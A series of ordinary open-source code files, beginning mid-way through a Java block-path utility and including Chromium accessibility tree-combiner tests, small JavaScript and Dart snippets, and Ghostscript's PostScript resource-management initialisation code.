min.getZ())); list.add(new BlockPos(max.getX(), y, min.getZ())); list.add(new BlockPos(max.getX(), y, max.getZ())); list.add(new BlockPos(min.getX(), y, max.getZ())); } for (int z = min.getZ() + 1; z < max.getZ(); z++) { list.add(new BlockPos(min.getX(), min.getY(), z)); list.add(new BlockPos(max.getX(), min.getY(), z)); list.add(new BlockPos(max.getX(), max.getY(), z)); list.add(new BlockPos(min.getX(), max.getY(), z)); } return list.build(); } /** Calculates the total number of blocks on the edge. This is identical to (but faster than) calling * {@link #getAllOnEdge(BlockPos, BlockPos)}.{@link List#size() size()} * * @return The size of the list returned by {@link #getAllOnEdge(BlockPos, BlockPos)}. */ public static int getCountOnEdge(BlockPos min, BlockPos max) { int dx = Math.abs(max.getX() - min.getX()); int dy = Math.abs(max.getY() - min.getY()); int dz = Math.abs(max.getZ() - min.getZ()); boolean addX = dx > 0; boolean addY = dy > 0; boolean addZ = dz > 0; int count = dx + 1; if (dy > 0) { count += dx + 1; if (addZ) { count += dx + 1; } } if (addZ) { count += dx + 1; } if (addY) { count += dy - 1; if (addX) { count += dy - 1; if (addZ) { count += dy - 1; } } if (addZ) { count += dy - 1; } } if (addZ) { count += dz - 1; if (addX) { count += dz - 1; if (addY) { count += dz - 1; } } if (addY) { count += dz - 1; } } return count; } /** Returns a list of all the block positions between from and to (mostly). * <p> * Does not return the "from" co-ordinate, but does include the "to" co-ordinate (provided that from does not equal * to) */ public static ImmutableList<BlockPos> getAllOnPath(BlockPos from, BlockPos to) { ImmutableList.Builder<BlockPos> interp = ImmutableList.builder(); forAllOnPath(from, to, interp::add); return interp.build(); } public static void forAllOnPath(BlockPos from, BlockPos to, Consumer<BlockPos> iter) { final BlockPos difference = to.subtract(from); final int ax = Math.abs(difference.getX()); final int ay = Math.abs(difference.getY()); final int az = Math.abs(difference.getZ()); int count = ax + ay + az; BlockPos current = from; final int ddx = difference.getX() > 0 ? 1 : -1; final int ddy = difference.getY() > 0 ? 1 : -1; final int ddz = difference.getZ() > 0 ? 1 : -1; // start from 1/2 in a block // (as we want to compare to the centre of blocks rather than the lower corner) int dx = count / 2; int dy = count / 2; int dz = count / 2; for (int j = 0; j < count; j++) { dx += ax; dy += ay; dz += az; boolean changed = false; if (dx >= count) { changed = true; dx -= count; current = current.add(ddx, 0, 0); } if (dy >= count) { changed = true; dy -= count; current = current.add(0, ddy, 0); } if (dz >= count) { changed = true; dz -= count; current = current.add(0, 0, ddz); } if (changed) { iter.accept(current); } } } public static void forAllOnPath2d(int a1, int b1, int a2, int b2, PathIterator2d iter) { // Find the smallest number 'm' and smallest number 'o' // such that a * m + o = b // then draw a straight line (1, m) // First swap a with b if b is smaller than a int diff_a = a2 - a1; int diff_b = b2 - b1; int max_a = Math.abs(diff_a); int max_b = Math.abs(diff_b); int size_a = max_a + 1; int size_b = max_b + 1; int mult_a = diff_a > 0 ? 1 : -1; int mult_b = diff_b > 0 ? 1 : -1; boolean reverse = false; int multiplier; int offset; if (size_a == size_b) { multiplier = 1; offset = 0; } else { if (size_a > size_b) { int temp = size_a; size_a = size_b; size_b = temp; reverse = true; } multiplier = size_b / size_a; offset = size_b % size_a; } // Offset is distributed from the start of the line // Which is wrong atm -- need to distribute it across the line int normalLength = multiplier; int currentOffsetA = 0; int currentOffsetB = 0; int count = size_a; for (int i = 0; i < count; i++) { int length = normalLength; if (i < offset) { length++; } for (int l = 0; l < length; l++) { if (reverse) { iter.iterate(a1 + mult_a * currentOffsetB, b1 + mult_b * currentOffsetA); } else { iter.iterate(a1 + mult_a * currentOffsetA, b1 + mult_b * currentOffsetB); } currentOffsetB++; } currentOffsetA++; } } public static void forAllOnArc2d(int a, int b, int degrees, PathIterator2d iter) { } @FunctionalInterface public interface PathIterator2d { void iterate(int a, int b); } public static BlockPos randomBlockPos(Random rand, BlockPos size) { return new BlockPos(// rand.nextInt(size.getX()), // rand.nextInt(size.getY()), // rand.nextInt(size.getZ())// ); } public static BlockPos randomBlockPos(Random rand, BlockPos min, BlockPos max) { return new BlockPos(// min.getX() + rand.nextInt(max.getX() - min.getX()), // min.getY() + rand.nextInt(max.getY() - min.getY()), // min.getZ() + rand.nextInt(max.getZ() - min.getZ())// ); } }
{ "pile_set_name": "Github" }
// Copyright 2016 The Chromium Authors. All rights reserved. // Use of this source code is governed by a BSD-style license that can be // found in the LICENSE file. #include "ui/accessibility/ax_tree_combiner.h" #include "testing/gtest/include/gtest/gtest.h" #include "ui/accessibility/ax_enums.mojom.h" namespace ui { TEST(CombineAXTreesTest, RenumberOneTree) { AXTreeID tree_id_1 = AXTreeID::CreateNewAXTreeID(); AXTreeUpdate tree; tree.has_tree_data = true; tree.tree_data.tree_id = tree_id_1; tree.root_id = 2; tree.nodes.resize(3); tree.nodes[0].id = 2; tree.nodes[0].child_ids.push_back(4); tree.nodes[0].child_ids.push_back(6); tree.nodes[1].id = 4; tree.nodes[2].id = 6; AXTreeCombiner combiner; combiner.AddTree(tree, true); combiner.Combine(); const AXTreeUpdate& combined = combiner.combined(); EXPECT_EQ(1, combined.root_id); ASSERT_EQ(3U, combined.nodes.size()); EXPECT_EQ(1, combined.nodes[0].id); ASSERT_EQ(2U, combined.nodes[0].child_ids.size()); EXPECT_EQ(2, combined.nodes[0].child_ids[0]); EXPECT_EQ(3, combined.nodes[0].child_ids[1]); EXPECT_EQ(2, combined.nodes[1].id); EXPECT_EQ(3, combined.nodes[2].id); } TEST(CombineAXTreesTest, EmbedChildTree) { AXTreeID tree_id_1 = AXTreeID::CreateNewAXTreeID(); AXTreeID tree_id_2 = AXTreeID::CreateNewAXTreeID(); AXTreeUpdate parent_tree; parent_tree.root_id = 1; parent_tree.has_tree_data = true; parent_tree.tree_data.tree_id = tree_id_1; parent_tree.nodes.resize(3); parent_tree.nodes[0].id = 1; parent_tree.nodes[0].child_ids.push_back(2); parent_tree.nodes[0].child_ids.push_back(3); parent_tree.nodes[1].id = 2; parent_tree.nodes[1].role = ax::mojom::Role::kButton; parent_tree.nodes[2].id = 3; parent_tree.nodes[2].role = ax::mojom::Role::kIframe; parent_tree.nodes[2].AddStringAttribute( ax::mojom::StringAttribute::kChildTreeId, tree_id_2.ToString()); AXTreeUpdate child_tree; child_tree.root_id = 1; child_tree.has_tree_data = true; child_tree.tree_data.parent_tree_id = tree_id_1; child_tree.tree_data.tree_id = tree_id_2; child_tree.nodes.resize(3); child_tree.nodes[0].id = 1; child_tree.nodes[0].child_ids.push_back(2); child_tree.nodes[0].child_ids.push_back(3); child_tree.nodes[1].id = 2; child_tree.nodes[1].role = ax::mojom::Role::kCheckBox; child_tree.nodes[2].id = 3; child_tree.nodes[2].role = ax::mojom::Role::kRadioButton; AXTreeCombiner combiner; combiner.AddTree(parent_tree, true); combiner.AddTree(child_tree, false); combiner.Combine(); const AXTreeUpdate& combined = combiner.combined(); EXPECT_EQ(1, combined.root_id); ASSERT_EQ(6U, combined.nodes.size()); EXPECT_EQ(1, combined.nodes[0].id); ASSERT_EQ(2U, combined.nodes[0].child_ids.size()); EXPECT_EQ(2, combined.nodes[0].child_ids[0]); EXPECT_EQ(3, combined.nodes[0].child_ids[1]); EXPECT_EQ(2, combined.nodes[1].id); EXPECT_EQ(ax::mojom::Role::kButton, combined.nodes[1].role); EXPECT_EQ(3, combined.nodes[2].id); EXPECT_EQ(ax::mojom::Role::kIframe, combined.nodes[2].role); EXPECT_EQ(1U, combined.nodes[2].child_ids.size()); EXPECT_EQ(4, combined.nodes[2].child_ids[0]); EXPECT_EQ(4, combined.nodes[3].id); EXPECT_EQ(5, combined.nodes[4].id); EXPECT_EQ(ax::mojom::Role::kCheckBox, combined.nodes[4].role); EXPECT_EQ(6, combined.nodes[5].id); EXPECT_EQ(ax::mojom::Role::kRadioButton, combined.nodes[5].role); } TEST(CombineAXTreesTest, MapAllIdAttributes) { AXTreeID tree_id_1 = AXTreeID::CreateNewAXTreeID(); // This is a nonsensical accessibility tree, the goal is to make sure // that all attributes that reference IDs of other nodes are remapped. AXTreeUpdate tree; tree.has_tree_data = true; tree.tree_data.tree_id = tree_id_1; tree.root_id = 11; tree.nodes.resize(2); tree.nodes[0].id = 11; tree.nodes[0].child_ids.push_back(22); tree.nodes[0].AddIntAttribute(ax::mojom::IntAttribute::kTableHeaderId, 22); tree.nodes[0].AddIntAttribute(ax::mojom::IntAttribute::kTableRowHeaderId, 22); tree.nodes[0].AddIntAttribute(ax::mojom::IntAttribute::kTableColumnHeaderId, 22); tree.nodes[0].AddIntAttribute(ax::mojom::IntAttribute::kActivedescendantId, 22); std::vector<int32_t> ids { 22 }; tree.nodes[0].AddIntListAttribute( ax::mojom::IntListAttribute::kIndirectChildIds, ids); tree.nodes[0].AddIntListAttribute(ax::mojom::IntListAttribute::kControlsIds, ids); tree.nodes[0].AddIntListAttribute( ax::mojom::IntListAttribute::kDescribedbyIds, ids); tree.nodes[0].AddIntListAttribute(ax::mojom::IntListAttribute::kFlowtoIds, ids); tree.nodes[0].AddIntListAttribute(ax::mojom::IntListAttribute::kLabelledbyIds, ids); tree.nodes[1].id = 22; AXTreeCombiner combiner; combiner.AddTree(tree, true); combiner.Combine(); const AXTreeUpdate& combined = combiner.combined(); EXPECT_EQ(1, combined.root_id); ASSERT_EQ(2U, combined.nodes.size()); EXPECT_EQ(1, combined.nodes[0].id); ASSERT_EQ(1U, combined.nodes[0].child_ids.size()); EXPECT_EQ(2, combined.nodes[0].child_ids[0]); EXPECT_EQ(2, combined.nodes[1].id); EXPECT_EQ(2, combined.nodes[0].GetIntAttribute( ax::mojom::IntAttribute::kTableHeaderId)); EXPECT_EQ(2, combined.nodes[0].GetIntAttribute( ax::mojom::IntAttribute::kTableRowHeaderId)); EXPECT_EQ(2, combined.nodes[0].GetIntAttribute( ax::mojom::IntAttribute::kTableColumnHeaderId)); EXPECT_EQ(2, combined.nodes[0].GetIntAttribute( ax::mojom::IntAttribute::kActivedescendantId)); EXPECT_EQ(2, combined.nodes[0].GetIntListAttribute( ax::mojom::IntListAttribute::kIndirectChildIds)[0]); EXPECT_EQ(2, combined.nodes[0].GetIntListAttribute( ax::mojom::IntListAttribute::kControlsIds)[0]); EXPECT_EQ(2, combined.nodes[0].GetIntListAttribute( ax::mojom::IntListAttribute::kDescribedbyIds)[0]); EXPECT_EQ(2, combined.nodes[0].GetIntListAttribute( ax::mojom::IntListAttribute::kFlowtoIds)[0]); EXPECT_EQ(2, combined.nodes[0].GetIntListAttribute( ax::mojom::IntListAttribute::kLabelledbyIds)[0]); } TEST(CombineAXTreesTest, FocusedTree) { AXTreeID tree_id_1 = AXTreeID::CreateNewAXTreeID(); AXTreeID tree_id_2 = AXTreeID::CreateNewAXTreeID(); AXTreeUpdate parent_tree; parent_tree.has_tree_data = true; parent_tree.tree_data.tree_id = tree_id_1; parent_tree.tree_data.focused_tree_id = tree_id_2; parent_tree.tree_data.focus_id = 2; parent_tree.root_id = 1; parent_tree.nodes.resize(3); parent_tree.nodes[0].id = 1; parent_tree.nodes[0].child_ids.push_back(2); parent_tree.nodes[0].child_ids.push_back(3); parent_tree.nodes[1].id = 2; parent_tree.nodes[1].role = ax::mojom::Role::kButton; parent_tree.nodes[2].id = 3; parent_tree.nodes[2].role = ax::mojom::Role::kIframe; parent_tree.nodes[2].AddStringAttribute( ax::mojom::StringAttribute::kChildTreeId, tree_id_2.ToString()); AXTreeUpdate child_tree; child_tree.has_tree_data = true; child_tree.tree_data.parent_tree_id = tree_id_1; child_tree.tree_data.tree_id = tree_id_2; child_tree.tree_data.focus_id = 3; child_tree.root_id = 1; child_tree.nodes.resize(3); child_tree.nodes[0].id = 1; child_tree.nodes[0].child_ids.push_back(2); child_tree.nodes[0].child_ids.push_back(3); child_tree.nodes[1].id = 2; child_tree.nodes[1].role = ax::mojom::Role::kCheckBox; child_tree.nodes[2].id = 3; child_tree.nodes[2].role = ax::mojom::Role::kRadioButton; AXTreeCombiner combiner; combiner.AddTree(parent_tree, true); combiner.AddTree(child_tree, false); combiner.Combine(); const AXTreeUpdate& combined = combiner.combined(); ASSERT_EQ(6U, combined.nodes.size()); EXPECT_EQ(6, combined.tree_data.focus_id); } TEST(CombineAXTreesTest, EmptyTree) { AXTreeUpdate tree; AXTreeCombiner combiner; combiner.AddTree(tree, true); combiner.Combine(); const AXTreeUpdate& combined = combiner.combined(); ASSERT_EQ(0U, combined.nodes.size()); } } // namespace ui
{ "pile_set_name": "Github" }
<?xml version="1.0" encoding="UTF-8" ?> <entries> <entry name="input"> <![CDATA[ { "Foo": {"Baz": { "Bar": 1 }, "Qux": { "Bar": 6, "Xyzzy": 42 }}} ]]> </entry> <entry name="path">Foo/*/Bar</entry> <entry name="output"> <![CDATA[ { "Foo": {"Baz": {}, "Qux": {"Xyzzy": 42 }}} ]]> </entry> </entries>
{ "pile_set_name": "Github" }
Ext.define('Ext.rtl.layout.container.HBox', { override: 'Ext.layout.container.HBox', rtlNames: { beforeX: 'right', afterX: 'left', getScrollLeft: 'rtlGetScrollLeft', setScrollLeft: 'rtlSetScrollLeft', scrollTo: 'rtlScrollTo', beforeScrollerSuffix: '-after-scroller', afterScrollerSuffix: '-before-scroller' } });
{ "pile_set_name": "Github" }
>>> (indent 6) isTwoWay = !isEvent && bindings.isWhole && (isCustomTag || tag == 'input' && (name == 'value' || name =='checked') || tag == 'select' && (name == 'selectedindex' || name == 'value') || tag == 'textarea' && name == 'value'); <<< isTwoWay = !isEvent && bindings.isWhole && (isCustomTag || tag == 'input' && (name == 'value' || name == 'checked') || tag == 'select' && (name == 'selectedindex' || name == 'value') || tag == 'textarea' && name == 'value');
{ "pile_set_name": "Github" }
const INCREMENT = 'redux-example/counter/INCREMENT'; const initialState = { count: 0 }; export default function reducer(state = initialState, action = {}) { switch (action.type) { case INCREMENT: { const { count } = state; return { count: count + 1 }; } default: return state; } } export function increment() { return { type: INCREMENT }; }
{ "pile_set_name": "Github" }
<?xml version='1.0' encoding='utf-8'?> <SettingsFile xmlns="http://schemas.microsoft.com/VisualStudio/2004/01/settings" CurrentProfile="(Default)"> <Profiles> <Profile Name="(Default)" /> </Profiles> <Settings /> </SettingsFile>
{ "pile_set_name": "Github" }
% Copyright (C) 2001-2019 Artifex Software, Inc. % All Rights Reserved. % % This software is provided AS-IS with no warranty, either express or % implied. % % This software is distributed under license and may not be copied, % modified or distributed except as expressly authorized under the terms % of the license contained in the file LICENSE in this distribution. % % Refer to licensing information at http://www.artifex.com or contact % Artifex Software, Inc., 1305 Grant Avenue - Suite 200, Novato, % CA 94945, U.S.A., +1(415)492-9861, for further information. % % Initialization file for Level 2 resource machinery. % When this is run, systemdict is still writable, % but (almost) everything defined here goes into level2dict. level2dict begin (BEGIN RESOURCES) VMDEBUG % We keep track of (global) instances with another entry in the resource % dictionary, an .Instances dictionary. For categories with implicit % instances, the values in .Instances are the same as the keys; % for other categories, the values are [instance status size]. % Note that the dictionary that defines a resource category is stored % in global VM. The PostScript manual says that each category must % manage global and local instances separately. However, objects in % global VM other than systemdict can't reference objects in local VM. % This means that the resource category dictionary, which would otherwise be % the obvious place to keep track of the instances, can't be used to keep % track of local instances. Instead, we define a dictionary in local VM % called localinstancedict, in which the key is the category name and % the value is the analogue of .Instances for local instances. % We don't currently implement automatic resource unloading. % When and if we do, it should be hooked to the garbage collector. % However, Ed Taft of Adobe says their interpreters don't implement this % either, so we aren't going to worry about it for a while. currentglobal //false setglobal systemdict /localinstancedict 5 dict .forceput % localinstancedict is local, systemdict is global //true setglobal /.emptydict 0 dict readonly def setglobal % Resource category dictionaries have the following keys (those marked with % * are optional): % Standard, defined in the Red Book: % Category (name) % *InstanceType (name) % DefineResource % <key> <instance> DefineResource <instance> % UndefineResource % <key> UndefineResource - % FindResource % <key> FindResource <instance> % ResourceStatus % <key> ResourceStatus <status> <size> true % <key> ResourceStatus false % ResourceForAll % <template> <proc> <scratch> ResourceForAll - % *ResourceFileName % <key> <scratch> ResourceFileName <filename> % Additional, specific to our implementation: % .Instances (dictionary) % .LocalInstances % - .LocalInstances <dict> % .GetInstance % <key> .GetInstance <instance> -true- % <key> .GetInstance -false- % .CheckResource % <key> <value> .CheckResource <key> <value> <ok> % (or may give an error if not OK) % .DoLoadResource % <key> .DoLoadResource <key> (may give an error) % .LoadResource % <key> .LoadResource - (may give an error) % .ResourceFile % <key> .ResourceFile <file> -true- % <key> .ResourceFile <key> -false- % .ResourceFileStatus % <key> .ResourceFileStatus 2 <vmusage> -true- % <key> .ResourceFileStatus -false- % All the above procedures expect that the top dictionary on the d-stack % is the resource dictionary. % Define enough of the Category category so we can define other categories. % The dictionary we're about to create will become the Category % category definition dictionary. % .findcategory and .resourceexec are only called from within the % implementation of the resource 'operators', so they don't have to worry % about cleaning up the stack if they fail (the interpreter's stack % protection machinery for pseudo-operators takes care of this). % Note that all places that look up categories must use .findcategory % so that the command in case of error will be correct rather than an % internal invocation of findresource. /.findcategory { % <name> .findcategory - % (pushes the category on the dstack) /Category .findresource begin % note: *not* findresource } bind def % If an error occurs within the logic of a resource operator (after operand % acquisition and checking), the Adobe interpreters report the operator name, % not the operator object, as the command in $error. For this reason, and % this reason only, all resource operators must wrap their logic code in % /<opername> cvx { ...logic... } .errorexec % The Category resource signals /undefined rather than /undefinedresource, % both when referenced implicitly (to look up the category for a general % resource operation) and when it is accessed directly (/Category /xxx % findresource). Because of this, all resource operators must use % .undefinedresource rather than signalling undefinedresource directly. /.undefinedresource { % <command> .undefinedresource - /Category dup load eq { /undefined } { /undefinedresource } ifelse signaloperror } bind def /.resourceexec { % <key> /xxxResource .resourceexec - % (also pops the category from the dstack) load exec end } bind def % .getvminstance treats instances on disk as undefined. /.getvminstance { % <key> .getvminstance <instance> -true- % <key> .getvminstance -false- .GetInstance { dup 1 get 2 ne { //true } { pop //false } ifelse } { //false } ifelse } bind def 20 dict begin % Standard entries /Category /Category def /InstanceType /dicttype def /DefineResource { .CheckResource { dup /Category 3 index cvlit .growput dup [ exch 0 -1 ] exch .Instances 4 2 roll put % Make the Category dictionary read-only. We will have to % use .forceput / .forceput later to replace the dummy, % empty .Instances dictionary with the real one later. readonly }{ /defineresource cvx /typecheck signaloperror } ifelse } bind executeonly odef /FindResource % (redefined below) { .Instances exch get 0 get } bind executeonly def % Additional entries /.Instances 30 dict def .Instances /Category [currentdict 0 -1] put /.LocalInstances 0 dict def /.GetInstance { .Instances exch .knownget } bind def /.CheckResource { dup gcheck currentglobal and { /DefineResource /FindResource /ResourceForAll /ResourceStatus /UndefineResource } { 2 index exch known and } forall not { /defineresource cvx /invalidaccess signaloperror } if //true } bind def .Instances end begin % for the base case of findresource (END CATEGORY) VMDEBUG % Define the resource operators. We use the "stack protection" feature of % odef to make sure the stacks are restored properly on an error. % This requires that the operators not pop anything from the stack until % they have executed their logic successfully. We can't make this % work for resourceforall, because the procedure it executes mustn't see % the operands of resourceforall on the stack, but we can make it work for % the others. % findresource is the only operator that needs to bind //Category. % We define its contents as a separate procedure so that .findcategory % can use it without entering another level of pseudo-operator. /.findresource { % <key> <category> findresource <instance> 2 copy dup /Category eq { pop //Category 0 get begin } { //.findcategory exec } ifelse /FindResource //.resourceexec exec exch pop exch pop } bind end % .Instances of Category def /findresource { % See above re .errorexec. 1 .argindex % also catch stackunderflow dup type /stringtype eq { cvn } if % for CET 23-13-04 3 1 roll exch pop dup type /nametype ne { /findresource .systemvar /typecheck signalerror } if /findresource cvx //.findresource .errorexec } bind executeonly odef /defineresource { % <key> <instance> <category> defineresource <instance> 2 .argindex 2 index 2 index % catch stackunderflow % See above re .errorexec. /defineresource cvx { //.findcategory exec currentdict /InstanceType known { dup type InstanceType ne { dup type /packedarraytype eq InstanceType /arraytype eq and not { /defineresource cvx /typecheck signaloperror } if } if } if /DefineResource //.resourceexec exec 4 1 roll pop pop pop } .errorexec } bind executeonly odef % We must prevent resourceforall from automatically restoring the stacks, % because we don't want the stacks restored if proc causes an error or % executes a 'stop'. On the other hand, resourceforall is defined in the % PLRM as an operator, so it must have type /operatortype. We hack this % by taking advantage of the fact that the interpreter optimizes tail % calls, so stack protection doesn't apply to the very last token of an % operator procedure. /resourceforall1 { % <template> <proc> <scratch> <category> resourceforall1 - dup //.findcategory exec /ResourceForAll load % Stack: <template> <proc> <scratch> <category> proc exch pop % pop the category exec end } .bind executeonly def /resourceforall { % <template> <proc> <scratch> <category> resourceforall1 - //resourceforall1 exec % see above } .bind executeonly odef /resourcestatus { % <key> <category> resourcestatus <status> <size> true % <key> <category> resourcestatus false { 0 .argindex type /nametype ne { % CET 23-26 wants typecheck here, not undefineresource that happens % without the check. /resourcestatus cvx /typecheck signalerror } if 2 copy //.findcategory exec /ResourceStatus //.resourceexec exec { 4 2 roll pop pop //true } { pop pop //false } ifelse } stopped { % Although resourcestatus is an operator, Adobe uses executable name % for error reporting. CET 23-26 /resourcestatus cvx $error /errorname get signalerror } if } .bind executeonly odef /undefineresource { % <key> <category> undefineresource - 0 .argindex type /nametype ne { /undefinedresource cvx /typecheck signaloperror } if 1 .argindex 1 index % catch stackunderflow { //.findcategory exec /UndefineResource //.resourceexec exec pop pop } stopped { % Although undefineresource is an operator, Adobe uses executable name % here but uses operator for the errors above. CET 23-33 /undefineresource cvx $error /errorname get signalerror } if } .bind executeonly odef % Define the system parameters used for the Generic implementation of % ResourceFileName. systemdict begin % - .default_resource_dir <string> /.default_resource_dir { /LIBPATH .systemvar { dup .file_name_current eq { pop } { (Resource) rsearch { exch concatstrings exch pop .file_name_separator concatstrings exit } { pop } ifelse } ifelse } forall } bind def % <path> <name> <string> .resource_dir_name <path> <name> <string> /.resource_dir_name { systemdict 2 index .knownget { exch pop systemdict 1 index undef } { dup () ne { .file_name_directory_separator concatstrings } if 2 index exch //false .file_name_combine not { (Error: .default_resource_dir returned ) print exch print ( that can't combine with ) print = /.default_resource_dir cvx /configurationerror signalerror } if } ifelse } bind def currentdict /pssystemparams known not { /pssystemparams 10 dict readonly def } if pssystemparams begin //.default_resource_dir exec /FontResourceDir (Font) //.resource_dir_name exec readonly currentdict 3 1 roll .forceput % pssys'params is r-o /GenericResourceDir () //.resource_dir_name exec readonly currentdict 3 1 roll .forceput % pssys'params is r-o pop % .default_resource_dir /GenericResourcePathSep .file_name_separator readonly currentdict 3 1 roll .forceput % pssys'params is r-o currentdict (%diskFontResourceDir) cvn (/Resource/Font/) readonly .forceput % pssys'params is r-o currentdict (%diskGenericResourceDir) cvn (/Resource/) readonly .forceput % pssys'params is r-o end end % Check if GenericResourceDir presents in LIBPATH. % The value of GenericResourceDir must end with directory separator. % We use .file_name_combine to check it. % Comments use OpenVMS syntax, because it is the most complicated case. (x) pssystemparams /GenericResourcePathSep get (y) concatstrings concatstrings dup length % (x]y) l1 pssystemparams /GenericResourceDir get dup length exch % (x]y) l1 l2 (dir) 3 index //true .file_name_combine not { exch (File name ) print print ( cant combine with ) print = /GenericResourceDir cvx /configurationerror signaloperror } if dup length % (x]y) l1 l2 (dir.x]y) l 4 2 roll add % (x]y) (dir.x]y) l ll ne { (GenericResourceDir value does not end with directory separator.\n) = /GenericResourceDir cvx /configurationerror signaloperror } if pop pop pssystemparams dup /GenericResourceDir get exch /GenericResourcePathSep get (Init) exch (gs_init.ps) concatstrings concatstrings concatstrings status { pop pop pop pop } { (\n*** Warning: GenericResourceDir doesn't point to a valid resource directory.) = ( the -sGenericResourceDir=... option can be used to set this.\n) = flush } ifelse % Define the generic algorithm for computing resource file names. /.rfnstring 8192 string def /.genericrfn % <key> <scratch> <prefix> .genericrfn <filename> { 3 -1 roll //.rfnstring cvs concatstrings exch copy } bind def % Define the Generic category. /Generic mark % Standard entries % We're still running in Level 1 mode, so dictionaries won't expand. % Leave room for the /Category entry. /Category //null % Implement the body of Generic resourceforall for local, global, and % external cases. 'args' is [template proc scratch resdict]. /.enumerateresource { % <key> [- <proc> <scratch>] .enumerateresource - 1 index type dup /stringtype eq exch /nametype eq or { exch 1 index 2 get cvs exch } if % Use .setstackprotect to prevent the stacks from being restored if % an error occurs during execution of proc. 1 get //false .setstackprotect exec //true .setstackprotect } bind def /.localresourceforall { % <key> <value> <args> .localr'forall - exch pop 2 copy 0 get .stringmatch { //.enumerateresource exec } { pop pop } ifelse } bind def /.globalresourceforall { % <key> <value> <args> .globalr'forall - exch pop 2 copy 0 get .stringmatch { dup 3 get begin .LocalInstances end 2 index known not { //.enumerateresource exec } { pop pop } ifelse } { pop pop } ifelse } bind def /.externalresourceforall { % <filename> <len> <args> .externalr'forall - 3 1 roll 1 index length 1 index sub getinterval exch dup 3 get begin .Instances .LocalInstances end % Stack: key args insts localinsts 3 index known { pop pop pop } { 2 index known { pop pop } { //.enumerateresource exec } ifelse } ifelse } bind def /DefineResource dup { .CheckResource { dup [ exch 0 -1 ] % Stack: key value instance currentglobal { //false setglobal 2 index UndefineResource % remove local def if any //true setglobal .Instances dup //.emptydict eq { pop 3 dict % As noted above, Category dictionaries are read-only, % so we have to use .forceput here. currentdict /.Instances 2 index .forceput % Category dict is read-only } executeonly if } executeonly { .LocalInstances dup //.emptydict eq { pop 3 dict localinstancedict Category 2 index put } if } ifelse % Stack: key value instance instancedict 3 index 2 index .growput % Now make the resource value read-only. 0 2 copy get { readonly } //.internalstopped exec pop dup 4 1 roll put exch pop exch pop } executeonly { /defineresource cvx /typecheck signaloperror } ifelse } .bind executeonly .makeoperator % executeonly to prevent access to .forceput /UndefineResource { { dup 2 index .knownget { dup 1 get 1 ge { dup 0 //null put 1 2 put pop pop } { pop exch .undef } ifelse } { pop pop } ifelse } currentglobal { 2 copy .Instances exch exec } if .LocalInstances exch exec } .bind executeonly % Because of some badly designed code in Adobe's CID font downloader that % makes findresource and resourcestatus deliberately inconsistent with each % other, the default FindResource must not call ResourceStatus if there is % an instance of the desired name already defined in VM. /FindResource { dup //null eq { % CET 13-06 wants /typecheck for "null findencoding" but % .knownget doesn't fail on null /findresource cvx /typecheck signaloperror } if dup //.getvminstance exec { exch pop 0 get } { dup ResourceStatus { pop 1 gt { .DoLoadResource //.getvminstance exec not { /findresource cvx //.undefinedresource exec } if 0 get } { .GetInstance pop 0 get } ifelse } { /findresource cvx //.undefinedresource exec } ifelse } ifelse } .bind executeonly % Because of some badly designed code in Adobe's CID font downloader, the % definition of ResourceStatus for Generic and Font must be the same (!). % We patch around this by using an intermediate .ResourceFileStatus procedure. /ResourceStatus { dup .GetInstance { exch pop dup 1 get exch 2 get //true } { .ResourceFileStatus } ifelse } .bind executeonly /.ResourceFileStatus { .ResourceFile { closefile 2 -1 //true } { pop //false } ifelse } bind executeonly /ResourceForAll { % Construct a new procedure to hold the arguments. % All objects constructed here must be in local VM to avoid % a possible invalidaccess. currentdict 4 .localvmpackedarray % [template proc scratch resdict] % We must pop the resource dictionary off the dict stack % when doing the actual iteration, and restore it afterwards. .currentglobal not { .LocalInstances length 0 ne { % We must do local instances, and do them first. //.localresourceforall {exec} 0 get 3 .localvmpackedarray cvx .LocalInstances exch {forall} 0 get 1 index 0 get currentdict end 3 .execn begin } if } if % Do global instances next. //.globalresourceforall {exec} 0 get 3 .localvmpackedarray cvx .Instances exch cvx {forall} 0 get 1 index 0 get currentdict end 3 .execn begin mark % args [ Category .namestring .file_name_separator concatstrings 2 index 0 get % args [ (c/) (t) 1 index length 3 1 roll % args [ l (c/) (t) concatstrings % args [ l (c/t) [ //true /LIBPATH .systemvar 3 index .generate_dir_list_templates_with_length % args (t) [ l [(pt) Lp ...] % also add on the Resources as specified by the GenericResourceDir //true [ currentsystemparams /GenericResourceDir get] counttomark 1 add index .generate_dir_list_templates_with_length ] exch pop dup length 1 sub 0 exch 2 exch { % args [ l [] i 2 copy get % args [ l [] i (pt) exch 2 index exch 1 add get % args [ l [] (pt) Lp 3 index add exch % args [ l [] Lp (pt) { % args [ l [] Lp (pf) dup length % args [ l [] Lp (pf) Lpf 2 index sub % args [ l [] Lp (pf) Lf 2 index exch % args [ l [] Lp (pf) Lp Lf getinterval cvn dup % args [ l [] Lp /n /n 5 2 roll % args [ /n /n l [] Lp } //.rfnstring filenameforall pop % args [ /n1 /n1 ... /nN /nN l [] } for % args [ /n1 /n1 ... /nN /nN l [] pop pop .dicttomark % An easy way to exclude duplicates. % args <</n/n>> % { { pop } 0 get 2 index 2 get { cvs 0 } aload pop 5 index //.externalresourceforall {exec} 0 get % } 7 .localvmpackedarray cvx 3 2 roll pop % args { forall } 0 get currentdict end 2 .execn begin } .bind executeonly /ResourceFileName { % /in (scr) --> (p/c/n) exch //.rfnstring cvs % (scr) (n) /GenericResourcePathSep getsystemparam exch % (scr) (/) (n) Category .namestring % (scr) (/) (n) (c) 3 1 roll % (scr) (c) (/) (n) concatstrings concatstrings % (scr) (c/n) /GenericResourceDir getsystemparam 1 index % (scr) (c/n) (p/) (c/n) concatstrings % (scr) (c/n) (p/c/n) dup status { pop pop pop pop exch pop % (scr) (p/c/n) } { exch .libfile {//true} { pop dup .libfile {//true} {//false} ifelse } ifelse { dup .filename pop exch closefile exch pop } {pop} ifelse } ifelse exch copy % (p/c/n) } .bind executeonly % Additional entries % Unfortunately, we can't create the real .Instances dictionary now, % because if someone copies the Generic category (which pp. 95-96 of the % 2nd Edition Red Book says is legitimate), they'll wind up sharing % the .Instances. Instead, we have to create .Instances on demand, % just like the entry in localinstancedict. % We also have to prevent anyone from creating instances of Generic itself. /.Instances //.emptydict /.LocalInstances { localinstancedict Category .knownget not { //.emptydict } if } bind /.GetInstance { currentglobal { .Instances exch .knownget } { .LocalInstances 1 index .knownget { exch pop //true } { .Instances exch .knownget } ifelse } ifelse } bind /.CheckResource { //true } bind /.vmused { % - .vmused <usedvalue> % usedvalue = vmstatus in global + vmstatus in local. 0 2 { .currentglobal not .setglobal vmstatus pop exch pop add } repeat } bind executeonly odef 